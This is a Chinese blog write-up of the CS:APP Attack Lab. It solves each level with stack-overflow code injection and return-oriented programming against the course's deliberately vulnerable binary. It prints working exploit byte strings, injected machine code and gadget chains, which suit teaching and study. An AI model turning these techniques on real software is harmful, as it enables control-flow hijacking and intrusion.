深入理解计算机系统(CS:APP) - Attack Lab详解

Attack Lab

实验代码见GitHub

简介

Attack Lab的内容针对的是CS-APP中第三章中关于程序安全性描述中的栈溢出攻击。在这个Lab中,我们需要针对不同的目的编写攻击字符串来填充一个有漏洞的程序的栈来达到执行攻击代码的目的,攻击方式分为代码注入攻击与返回导向编程攻击。本实验也是对旧版本中IA32编写的Buffer Lab的替代。

我们可以从CMUlab主页来获取自学者版本与实验讲义(Writeup),讲义中包含了必要的提示、建议与被禁止的操作,从这个lab开始之后的lab对讲义中内容的依赖还是很强的。

特别提示lab的自学者版本需要在运行程序时加上-q参数来避免程序向不存在的评分服务器提交我们的答案导致报错

前置

讲义中首先给我们展示了导致程序漏洞的关键:getbuf函数。

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

getbuf函数在栈中申请了一块BUFFER_SIZE大小的空间,然后利用这块空间首地址作为Gets函数的参数来从标准输入流中读取字符。由于没有对读入字符数量的检查,我们可以通过提供一个超过BUFFER_SIZE的字符串来向getbuf的栈帧之外写入数据。

在代码注入攻击中就是利用函数返回时RET指令会将调用方在栈中存放的返回地址读入IP中,执行该地址指向的代码。栈溢出后,我们可以改写这个返回地址,指向我们同样存放在栈中的指令,以达到攻击的目的。

第一部分:代码注入攻击

Level1

在这个等级中,我们不需要注入任何攻击代码,只需要更改getbuf函数的返回地址执行指定的函数touch1(该函数已经存在于程序中)。

那么我们需要做的就是将栈中存放返回地址的位置改为touch1函数的入口地址,问题在于我们如何将地址精确地写入到原来的地址的位置。

讲义给出了getbuf的调用函数:

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

如果攻击成功,我们不会执行到第五行,而是跳转到touch1中执行:

1
2
3
4
5
6
7
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

输出上面的字符串代表我们攻击成功。

下面我们利用objdump -d命令将程序反汇编来查看getbuf函数的行为。

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

代码比较简单,在第2行中将rsp减了0x28,申请了一块28字节的空间,第3行将rsp赋给rdi就是空间的首地址,然后调用了Gets函数,rdi就是它的参数。到这里我们可以确定BUFFER_SIZE的大小为0x28(自学讲义中这个值是固定的,但是真正的实验中这个值是由服务器生成的)。换句话说,在0x28字节的栈被Gets函数写满之后,多出来的字符会被写入getbuf函数的栈外。我们用图来说明栈的结构:

下面是低地址,上面是高地址,在getbuf函数申请的0x28字节内存之外的8个字节存放的就是test函数call指令后下一条指令的地址。

现在我们可以知道,我们需要用0x28字节来将栈填满,再写入touch1函数的入口地址,在getbuf函数执行到ret指令的时候就会返回到touch1中执行。

下面就要利用官方提供的hex2raw程序来帮助我们生成攻击字符串,这个程序将以空白字符隔开表示的字节转换成真正的二进制字节,注意这个程序只是原样地转换文件中的字符,所以字节序的问题是我们应该考虑的。

最终的答案如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

可以看到前0x28个字节都使用0x00来填充,然后在溢出的8个字节中写入了touch1的首地址0x4017c0,注意字节序就可以了。

Level 2

这个等级中我们同样需要跳转到指定的函数touch2中,但是想要通过touch2需要我们进行一些操作,讲义中给出了touch2的代码:

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

这里cookie是服务器给我们的一个数值,存放在cookie.txt文件中,自学者材料中的这个值应该都是一样的。

可以看到touch2拥有一个参数,只有这个参数与cookie的值相等才可以通过这一等级。所以我们的目标就是让程序去执行我们的代码,设置这个参数的值,再调用touch2完成攻击。

首先要注意的是touch2的第一个参数存放在寄存器rdi中,我们就是要设置这个寄存器的值为cookie

那么如何让程序去执行我们的代码呢?既然我们可以向栈中写入任意内容并且可以设置返回时跳转到的地址,那么我们就可以通过在栈中写入指令,再令从getbuf函数返回的地址为我们栈中指令的首地址,在指令中执行ret进行第二次返回,返回到touch2函数,就可以实现我们的目的。

所以我决定将指令写入到栈地址的最低处,然后在溢出后将地址设置为这个栈地址。我们能完成这个攻击的前提是讲义中已经告诉我们这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。

我们利用gdb在运行时查看栈地址:

停在getbuf的这里,然后查看rsp指向的地址:

可以看到首地址为0x5561dc78,顺便看到第6行也就是0x28个字节之后存放的原返回地址。

由于我们需要在注入的代码中再次返回,就需要将二次返回的地址同样存放在栈中,这里为了避免与我们注入的代码重叠,我选择将touch2地址放在getbuf函数栈的最后8字节中。

下面就要生成攻击字符串了,首先我们需要生成攻击代码。我们先将攻击代码用汇编指令的形式写出来:

1
2
3
movq $0x59b997fa,%rdi # rdi = cookie
movq $0x5561dc98,%rsp # 将rsp设为存放在栈中的touch2地址的地址
ret # 读取rsp指向的地址并跳转

下面利用gcc -c命令将汇编语句编译成机器码,再objdump -d生成的文件就可以间接地看到最终的机器码。

将指令的机器码作为我们攻击字符串的开头,touch2的地址放在栈中第0x20-0x28位置,将栈的首地址放在栈外的8个字节,构成我们的攻击字符串:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 48 
c7 c4 98 dc 61 55 c3 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00
78 dc 61 55 00 00 00 00

Level 3

该等级同样让我们跳转到touch3函数中,不过touch3函数判断有所不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

仔细阅读上面的代码,我们需要传入touch3的参数是一个字符串的首地址,这个地址指向的字符串需要与cookie的字符串表示相同。这里cookie的字符串表示是cookie:0x59b997faASCII表示的字符串:35 39 62 39 39 37 66 61 00

所以我们需要做的是将这串字符串放入栈中,并且将rdi的值置为字符串的首地址,再进行与上步类似的二次返回操作。

这里我们需要好好考虑目标字符串在栈中的位置,下面是最终结果中的栈结构,先放出来便于讲解。

如果目标字符串存放的位置比touch3存放地址更低,在最终字符串对比的时候会发现rdi指向地址的内容发生了改变。分析原因,我们可以查看从getbuf返回到字符串比对过程中执行的指令:

1
2
3
4
5
6
00000000004018fa <touch3>:
4018fa: 53 push %rbx
.
.
.
401911: e8 36 ff ff ff callq 40184c <hexmatch>
1
2
3
4
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx

上面列出的这部分指令都会向栈中压入新的内容,由于栈向下增长,而rsp一开始的位置在touch3地址的下一个位置,压入的新内容会覆盖touch3地址以下的内容,如果把目标字符串放在这部分会导致内容在比较之前就被覆盖。

知道栈中应该存放的内容的结构,攻击字符串的编写就不再困难了:

1
2
3
4
5
6
48 c7 c7 90 dc 61 55 48 # mov    $0x5561dc90,%rdi mov    $0x5561dc88,%rsp ret 为寄存器赋值并返回
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目标字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 注入指令首地址

第二部分:返回导向编程攻击

我们在第二部分中需要解决的同样是第一部分的后两个问题,只不过我们要采取不同的方式来进行攻击。

为什么我们之前采取的代码注入的攻击手段无法在这个程序中起作用呢?这是国因为这个程序对代码注入攻击采取了两种防护方式:

  • 栈随机化,使得程序每次运行时栈的地址都不相同,我们无法得知我们注入的攻击代码的地址,也无法在攻击代码中硬编码栈中的地址。
  • 标记内存中的栈段为不可执行,这意味着注入在栈中的代码无法被程序执行。

尽管这两种手段有效地避免了代码注入攻击,但是我们仍然可以找到方式让程序执行我们想要去执行的指令。

攻击方式

现在我们无法使用栈来存放代码,但是我们仍可以设置栈中的内容。不能注入代码去执行,我们还可以利用程序中原有的代码,利用ret指令跳转的特性,去执行程序中已经存在的指令。具体的方式如下:

我们可以在程序的汇编代码中找到这样的代码:

1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

这段代码的本意是

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

这样一个函数,但是通过观察我们可以发现,汇编代码的最后部分:48 89 c7 c3又可以代表

1
2
movq %rax, %rdi
ret

这两条指令(指令的编码可以见讲义中的附录)。

第1行的movq指令可以作为攻击代码的一部分来使用,那么我们怎么去执行这个代码呢?我们知道这个函数的入口地址是0x400f15,这个地址也是这条指令的地址。我们可以通过计算得出48 89 c7 c3这条指令的首地址是0x400f18,我们只要把这个地址存放在栈中,在执行ret指令的时候就会跳转到这个地址,执行48 89 c7 c3编码的指令。同时,我们可以注意到这个指令的最后是c3编码的是ret指令,利用这一点,我们就可以把多个这样的指令地址依次放在栈中,每次ret之后就会去执行栈中存放的下一个地址指向的指令,只要合理地放置这些地址,我们就可以执行我们想要执行的命令从而达到攻击的目的。

这样的一串以ret结尾的指令,被称为gadget。我们要攻击的程序中为我们设置了一个gadget_farm,为我们提供了一系列这样可以执行的攻击指令,同时我们也只被允许使用程序中start_farmend_farm函数标识之间的gadget来构建我们的攻击字符串。

这种攻击方式被称为返回导向编程攻击。

Level 2

目的与之前的Level 2相同,我们需要为rdi赋上cookie值,再跳转到touch2函数执行,跳转到touch2只需要将touch2的入口地址放在最后一个gadget之后,在它的ret指令执行之后就会返回到touch2中。

下面就要利用已有的gadgetrdi赋上我们想要的值。这里我们要将一个特定的值写入rdi,但是我们只可以使用栈来存放这个数值,同时不知道栈的地址,这个时候我们可以想到使用pop指令令这个值从栈中弹出到寄存器中。

查看gadget中提供的我们可以执行指令。发现

1
2
3
00000000004019a7 <addval_219>: 
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq

中最后的字节为58 90 c3,这个三个字节分别编码了三条指令:

1
2
3
popq %rax
nop
ret

这个nop在这里当然不影响,利用这个pop指令我们就可以把栈中存放的内容弹出到rax中。接下来我们需要的是

1
movq %rax,%rdi

这条指令,如果没有的话可以多传几次,正好我们发现了

1
2
3
00000000004019c3 <setval_426>: 
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

中最后的字节48 89 c7 90 c3编码了这样的指令。

我们分别计算这些需要执行的gadget的指令地址,写成攻击字符串:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00
ab 19 40 00 00 00 00 00 # popq %rax
fa 97 b9 59 00 00 00 00 # cookie (popq的目标)
a2 19 40 00 00 00 00 00 # movq %rax,%rdi
ec 17 40 00 00 00 00 00 # 返回到 touch2

Level 3

攻击目标与之前的Level 3相同,需要将rdi指向cookie的字符串表示的首地址。

目标字符串毫无疑问还是存放在栈中的,但是我们如何在栈地址随机化的情况下去获取我们放在栈中的字符串的首地址呢?

查看gadget_farm中提供的gadget后,我们可以发现可以执行的命令中有

1
2
movq %rsp,%rax
ret

这样一条,可以保存当前的rsp值,但是我们面临一个问题,这条命令执行时rsp的值为下一个地址,如果下一个地址中存放了目标字符串,那么命令就无法继续执行下去,也无法进入touch3函数了。

除此之外,似乎没有别的gadget可以帮助我们获取rsp的地址了。

我在这个地方卡了好几个小时,最后在别人的提示下才发现gadget_farm中有这样一个gadget画风与其他的不太一样:

1
2
3
00000000004019d6 <add_xy>: 
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq

这明明就是一个可以直接使用的函数!它的作用是将rdirsi中的值相加后存放在rax中。

有了这个,我们就可以把rsp的值加上一个数偏移若干后表示存放目标字符串的位置,就不会与需要执行的指令冲突了。

同时还要注意的是,这里有些gadget藏得比较隐蔽,讲义中暗示我们有一些两字节编码的指令实际上没有任何影响,它们之前的指令同样也是可以使用的。

仔细找出所有可以执行的指令并整理之后我得出了这样一张图:

目标字符串存放的位置一定在touch3地址之上(原因见前文)。

由于相加操作只能对rsirdi进行,经过观察可以发现栈地址是一个8字节值,所以无法通过下面这条movl组成的路来传递,但是我们的偏移值完全可以。所以我们的思路就定下了,把rsp的值存放在rdi中,把偏移量的值通过popq指令从栈中取出放在esi中,再利用add_xy函数将它们相加的结果存放到rax再转移到rdi中。这个偏移量是多少要等到我们的栈结构出来之后才可以确定。

根据上面这些信息,我们可以把栈结构示意出来:

标注灰色的地方是我们计算偏移量的部分(从rsp读入时开始),可以计算出偏移量为4 x 8 = 32 = 0x20,再依此计算各命令的地址、构建出我们的攻击字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目标字符串
00 00 00 00 00 00 00 00

实验小结

Attack Lab与之前的两个实验相比还是比较简单的,但是最后一个阶段确实因为自己的观察不够细致浪费了大量的时间。也告诉我们不要受思维定势的左右,一味地去寻找可以使用的gadget而忽略了函数本身的作用。

这次实验加强了我对于函数调用栈,字节序,gdb使用,汇编的理解。